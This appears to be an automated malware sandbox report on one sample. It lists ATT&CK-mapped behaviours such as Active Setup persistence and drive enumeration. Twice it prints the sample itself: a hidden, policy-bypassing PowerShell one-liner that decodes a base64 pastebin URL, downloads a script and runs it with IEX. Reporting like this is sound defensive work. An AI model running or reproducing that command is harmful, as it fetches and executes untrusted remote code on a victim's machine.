General

  • Target
    http://powershell -NoP -NonI -W Hidden -Exec Bypass -C "$x='aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L0EwaUFnaUE2';$y='aGVsbG93b3JsZDEyMw==';$z=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($x));$w=New-Object Net.WebClient;$w.Headers.Add('User-Agent','Mozilla/5.0');$v=$w.DownloadString($z);IEX $v"
  • Sample260626-x3htfset3s

Malware Config

Targets

    • Target
      http://powershell -NoP -NonI -W Hidden -Exec Bypass -C "$x='aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L0EwaUFnaUE2';$y='aGVsbG93b3JsZDEyMw==';$z=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($x));$w=New-Object Net.WebClient;$w.Headers.Add('User-Agent','Mozilla/5.0');$v=$w.DownloadString($z);IEX $v"
    • Boot or Logon Autostart Execution: Active Setup

      Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    • Enumerates connected drives

      Attempts to read the root path of hard drives other than the default C: drive.

MITRE ATT&CK Enterprise v16

Tasks